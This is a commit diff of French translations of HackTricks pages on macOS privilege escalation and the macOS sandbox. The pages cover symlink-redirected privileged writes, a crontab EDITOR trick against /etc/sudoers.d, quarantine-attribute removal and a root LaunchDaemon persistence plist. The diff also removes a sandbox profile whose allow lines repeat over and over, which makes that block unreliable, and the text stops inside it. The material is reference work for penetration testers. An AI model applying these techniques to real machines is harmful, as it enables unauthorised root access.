Translated ['macos-hardening/macos-security-and-privilege-escalation/mac

This commit is contained in:
Translator 2024-01-05 11:49:07 +00:00
parent 194aabcaa1
commit dbd14cd5b0
13 changed files with 656 additions and 874 deletions

View file

@ -2,13 +2,15 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-moi** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
@ -27,7 +29,7 @@ Permissions dans un **répertoire** :
**Comment écraser un fichier/dossier appartenant à root**, mais :
* Un **propriétaire de répertoire parent** dans le chemin est l'utilisateur
* Un **propriétaire de répertoire parent** dans le chemin est un **groupe d'utilisateurs** avec un accès **write**
* Un **propriétaire de répertoire parent** dans le chemin est un **groupe d'utilisateurs** avec **accès en écriture**
* Un **groupe d'utilisateurs** a un accès **write** au **fichier**
Avec l'une des combinaisons précédentes, un attaquant pourrait **injecter** un **lien sym/hard** sur le chemin attendu pour obtenir une écriture arbitraire privilégiée.
@ -42,11 +44,11 @@ Exemple sur : [https://theevilbit.github.io/posts/exploiting\_directory\_permiss
Si un processus privilégié écrit des données dans un **fichier** qui pourrait être **contrôlé** par un **utilisateur moins privilégié**, ou qui aurait pu être **préalablement créé** par un utilisateur moins privilégié. L'utilisateur pourrait simplement **le pointer vers un autre fichier** via un lien symbolique ou physique, et le processus privilégié écrira sur ce fichier.
Consultez les autres sections où un attaquant pourrait **abuser d'une écriture arbitraire pour escalader des privilèges**.
Vérifiez dans les autres sections où un attaquant pourrait **abuser d'une écriture arbitraire pour escalader des privilèges**.
## .fileloc
Les fichiers avec l'extension **`.fileloc`** peuvent pointer vers d'autres applications ou binaires de sorte que lorsqu'ils sont ouverts, l'application/binaire sera celle exécutée.\
Les fichiers avec l'extension **`.fileloc`** peuvent pointer vers d'autres applications ou binaires de sorte que lorsqu'ils sont ouverts, l'application/binaire sera celui exécuté.\
Exemple :
```xml
<?xml version="1.0" encoding="UTF-8"?>
@ -62,17 +64,17 @@ Exemple :
```
## Descripteur de fichier arbitraire
Si vous pouvez faire en sorte qu'un **processus ouvre un fichier ou un dossier avec des privilèges élevés**, vous pouvez abuser de **`crontab`** pour ouvrir un fichier dans `/etc/sudoers.d` avec **`EDITOR=exploit.py`**, ainsi `exploit.py` obtiendra le descripteur de fichier vers le fichier à l'intérieur de `/etc/sudoers` et pourra l'exploiter.
Si vous pouvez amener un **processus à ouvrir un fichier ou un dossier avec des privilèges élevés**, vous pouvez abuser de **`crontab`** pour ouvrir un fichier dans `/etc/sudoers.d` avec **`EDITOR=exploit.py`**, ainsi `exploit.py` obtiendra le descripteur de fichier pour le fichier à l'intérieur de `/etc/sudoers` et en abusera.
Par exemple : [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098)
## Éviter les astuces de quarantaine xattrs
## Éviter les astuces d'attributs xattrs de quarantaine
### Supprimer
### Le supprimer
```bash
xattr -d com.apple.quarantine /path/to/file_or_app
```
### drapeau uchg / uchange / uimmutable
### Drapeau uchg / uchange / uimmutable
Si un fichier/dossier possède cet attribut immuable, il ne sera pas possible d'y ajouter un xattr.
```bash
@ -97,7 +99,7 @@ xattr: [Errno 1] Operation not permitted: '/tmp/mnt/lol'
```
### writeextattr ACL
Cette ACL empêche l'ajout de `xattrs` au fichier
Cette ACL empêche l'ajout de `xattrs` au fichier.
```bash
rm -rf /tmp/test*
echo test >/tmp/test
@ -245,7 +247,7 @@ Vous pouvez **simuler** une exécution de ce script avec : **`sudo periodic dail
### Daemons
Écrivez un **LaunchDaemon** arbitraire comme **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** avec un plist exécutant un script arbitraire tel que :
Écrire un **LaunchDaemon** arbitraire comme **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** avec un plist exécutant un script arbitraire tel que :
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
@ -281,13 +283,15 @@ Le fichier **`/etc/paths`** est l'un des principaux endroits qui peuple la varia
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le hacking AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Vous travaillez dans une **entreprise de cybersécurité** ? Vous voulez voir votre **entreprise annoncée dans HackTricks** ? ou souhaitez-vous accéder à la **dernière version du PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez**-moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de hacking en soumettant des PR au** [**dépôt hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**dépôt hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de hacking en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
```

View file

@ -2,32 +2,34 @@
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Travaillez-vous dans une **entreprise de cybersécurité** ? Voulez-vous voir votre **entreprise annoncée dans HackTricks** ? Ou voulez-vous avoir accès à la **dernière version de PEASS ou télécharger HackTricks en PDF** ? Consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* **Rejoignez le** [**💬**](https://emojipedia.org/speech-balloon/) [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR au** [**repo hacktricks**](https://github.com/carlospolop/hacktricks) **et au** [**repo hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Autres moyens de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**merchandising officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La Famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection d'[**NFTs**](https://opensea.io/collection/the-peass-family) exclusifs
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux dépôts github** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## Informations de base
Le bac à sable macOS (initialement appelé Seatbelt) **limite les applications** s'exécutant à l'intérieur du bac à sable aux **actions autorisées spécifiées dans le profil du bac à sable** avec lequel l'application s'exécute. Cela permet de garantir que **l'application n'accédera qu'aux ressources attendues**.
Le Bac à sable macOS (initialement appelé Seatbelt) **limite les applications** s'exécutant à l'intérieur du bac à sable aux **actions autorisées spécifiées dans le profil du bac à sable** avec lequel l'application est exécutée. Cela aide à garantir que **l'application n'accédera qu'aux ressources attendues**.
Toute application avec l'**autorisation** **`com.apple.security.app-sandbox`** sera exécutée à l'intérieur du bac à sable. Les binaires **Apple** sont généralement exécutés à l'intérieur d'un bac à sable et pour pouvoir être publiés dans **l'App Store**, **cette autorisation est obligatoire**. Ainsi, la plupart des applications seront exécutées à l'intérieur du bac à sable.
Toute application avec le **droit** **`com.apple.security.app-sandbox`** sera exécutée à l'intérieur du bac à sable. **Les binaires Apple** sont généralement exécutés dans un bac à sable et pour publier dans l'**App Store**, **ce droit est obligatoire**. Ainsi, la plupart des applications seront exécutées à l'intérieur du bac à sable.
Pour contrôler ce qu'un processus peut ou ne peut pas faire, le **bac à sable dispose de crochets** dans tous les **appels système** du noyau. **Selon** les **autorisations** de l'application, le bac à sable **autorise** certaines actions.
Pour contrôler ce qu'un processus peut ou ne peut pas faire, le **bac à sable a des crochets** dans tous les **appels système** à travers le noyau. **Selon** les **droits** de l'application, le bac à sable **permettra** certaines actions.
Quelques composants importants du bac à sable sont :
Certains composants importants du bac à sable sont :
* L'**extension du noyau** `/System/Library/Extensions/Sandbox.kext`
* Le **framework privé** `/System/Library/PrivateFrameworks/AppSandbox.framework`
* Un **démon** s'exécutant dans l'espace utilisateur `/usr/libexec/sandboxd`
* Un **démon** s'exécutant en espace utilisateur `/usr/libexec/sandboxd`
* Les **conteneurs** `~/Library/Containers`
À l'intérieur du dossier des conteneurs, vous pouvez trouver **un dossier pour chaque application exécutée dans le bac à sable** avec le nom de l'ID de bundle :
À l'intérieur du dossier des conteneurs, vous pouvez trouver **un dossier pour chaque application exécutée dans un bac à sable** avec le nom de l'identifiant du paquet :
```bash
ls -l ~/Library/Containers
total 0
@ -38,7 +40,7 @@ drwx------@ 4 username staff 128 Mar 25 14:14 com.apple.Accessibility-Settings
drwx------@ 4 username staff 128 Mar 25 14:10 com.apple.ActionKit.BundledIntentHandler
[...]
```
À l'intérieur de chaque dossier d'identifiant de bundle, vous pouvez trouver le fichier **plist** et le répertoire **Data** de l'application :
Dans chaque dossier d'identifiant de bundle, vous pouvez trouver le **plist** et le **répertoire Data** de l'application :
```bash
cd /Users/username/Library/Containers/com.apple.Safari
ls -la
@ -62,7 +64,7 @@ drwx------ 2 username staff 64 Mar 24 18:02 SystemData
drwx------ 2 username staff 64 Mar 24 18:02 tmp
```
{% hint style="danger" %}
Notez que même si les liens symboliques sont là pour "échapper" au Sandbox et accéder à d'autres dossiers, l'application doit toujours **avoir les permissions** pour y accéder. Ces permissions se trouvent dans le fichier **`.plist`**.
Notez que même si les liens symboliques sont présents pour "s'échapper" du Sandbox et accéder à d'autres dossiers, l'application doit toujours **avoir les permissions** pour y accéder. Ces permissions se trouvent dans le fichier **`.plist`**.
{% endhint %}
```bash
# Get permissions
@ -112,12 +114,12 @@ AAAhAboBAAAAAAgAAABZAO4B5AHjBMkEQAUPBSsGPwsgASABHgEgASABHwEf...
[...]
```
{% hint style="warning" %}
Tout ce qui est créé/modifié par une application sandboxée obtiendra l'attribut de **quarantaine**. Cela empêchera un espace sandbox en déclenchant Gatekeeper si l'application sandboxée essaie d'exécuter quelque chose avec **`open`**.
Tout ce qui est créé/modifié par une application en mode **Sandbox** recevra l'**attribut de quarantaine**. Cela empêchera un espace sandbox de déclencher Gatekeeper si l'application sandbox essaie d'exécuter quelque chose avec **`open`**.
{% endhint %}
### Profils de sandbox
### Profils Sandbox
Les profils de sandbox sont des fichiers de configuration qui indiquent ce qui est **autorisé/interdit** dans cette **sandbox**. Il utilise le langage de profil de sandbox (SBPL), qui utilise le langage de programmation [Scheme](https://en.wikipedia.org/wiki/Scheme_\(programming_language\)).
Les profils Sandbox sont des fichiers de configuration qui indiquent ce qui sera **autorisé/interdit** dans ce **Sandbox**. Il utilise le **Langage de Profil Sandbox (SBPL)**, qui utilise le langage de programmation [**Scheme**](https://en.wikipedia.org/wiki/Scheme\_\(programming\_language\)).
Voici un exemple :
```scheme
@ -141,282 +143,31 @@ Voici un exemple :
Consultez cette [**recherche**](https://reverse.put.as/2011/09/14/apple-sandbox-guide-v1-0/) **pour vérifier plus d'actions qui pourraient être autorisées ou refusées.**
{% endhint %}
Des **services système** importants s'exécutent également dans leur propre **bac à sable personnalisé**, tels que le service `mdnsresponder`. Vous pouvez consulter ces **profils de bac à sable personnalisés** ici :
Des **services système** importants fonctionnent également dans leur propre **sandbox** personnalisé, comme le service `mdnsresponder`. Vous pouvez consulter ces **profils de sandbox** personnalisés dans :
* **`/usr/share/sandbox`**
* **`/System/Library/Sandbox/Profiles`**&#x20;
* D'autres profils de bac à sable peuvent être consultés sur [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
* D'autres profils de sandbox peuvent être consultés sur [https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles](https://github.com/s7ephen/OSX-Sandbox--Seatbelt--Profiles).
Les applications de l'**App Store** utilisent le **profil** **`/System/Library/Sandbox/Profiles/application.sb`**. Vous pouvez vérifier dans ce profil comment les autorisations telles que **`com.apple.security.network.server`** permettent à un processus d'utiliser le réseau.
Les applications **App Store** utilisent le **profil** **`/System/Library/Sandbox/Profiles/application.sb`**. Vous pouvez vérifier dans ce profil comment des droits tels que **`com.apple.security.network.server`** permettent à un processus d'utiliser le réseau.
SIP est un profil de bac à sable appelé platform\_profile dans /System/Library/Sandbox/rootless.conf
SIP est un profil de Sandbox appelé platform\_profile dans /System/Library/Sandbox/rootless.conf
### Exemples de profils de bac à sable
### Exemples de Profils de Sandbox
Pour démarrer une application avec un **profil de bac à sable spécifique**, vous pouvez utiliser :
Pour démarrer une application avec un **profil de sandbox spécifique**, vous pouvez utiliser :
```bash
sandbox-exec -f example.sb /Path/To/The/Application
```
{% tabs %}
{% tab title="touch" %}
{% code title="touch.sb" %}
```plaintext
(version 1)
(deny default)
(allow file-read-metadata)
(allow file-write-data (literal "/tmp/"))
(allow file-write-data (subpath "/Users/"))
(allow file-write-data (subpath "/Applications/"))
(allow file-write-data (subpath "/Library/"))
(allow file-write-data (subpath "/System/"))
(allow file-write-data (subpath "/private/"))
(allow file-write-data (subpath "/var/"))
(allow file-write-data (subpath "/Volumes/"))
(allow file-write-data (subpath "/Network/"))
(allow file-write-data (subpath "/etc/"))
(allow file-write-data (subpath "/bin/"))
(allow file-write-data (subpath "/sbin/"))
(allow file-write-data (subpath "/usr/"))
(allow file-write-data (subpath "/opt/"))
(allow file-write-data (subpath "/Developer/"))
(allow file-write-data (subpath "/Applications/Utilities/"))
(allow file-write-data (subpath "/Library/Application Support/"))
(allow file-write-data (subpath "/Library/Preferences/"))
(allow file-write-data (subpath "/Library/LaunchAgents/"))
(allow file-write-data (subpath "/Library/LaunchDaemons/"))
(allow file-write-data (subpath "/Library/StartupItems/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
(allow file-write-data (subpath "/System/Library/Keyboard Layouts/"))
(allow file-write-data (subpath "/System/Library/ColorSync/Profiles/"))
(allow file-write-data (subpath "/System/Library/Fonts/"))
(allow file-write-data (subpath "/System/Library/Screen Savers/"))
(allow file-write-data (subpath "/System/Library/Spotlight/"))
(allow file-write-data (subpath "/System/Library/QuickTime/"))
(allow file-write-data (subpath "/System/Library/PreferencePanes/"))
(allow file-write-data (subpath "/System/Library/Extensions/"))
(allow file-write-data (subpath "/System/Library/CoreServices/"))
(allow file-write-data (subpath "/System/Library/Frameworks/"))
(allow file-write-data (subpath "/System/Library/Services/"))
(allow file-write-data (subpath "/System/Library/UserEventPlugins/"))
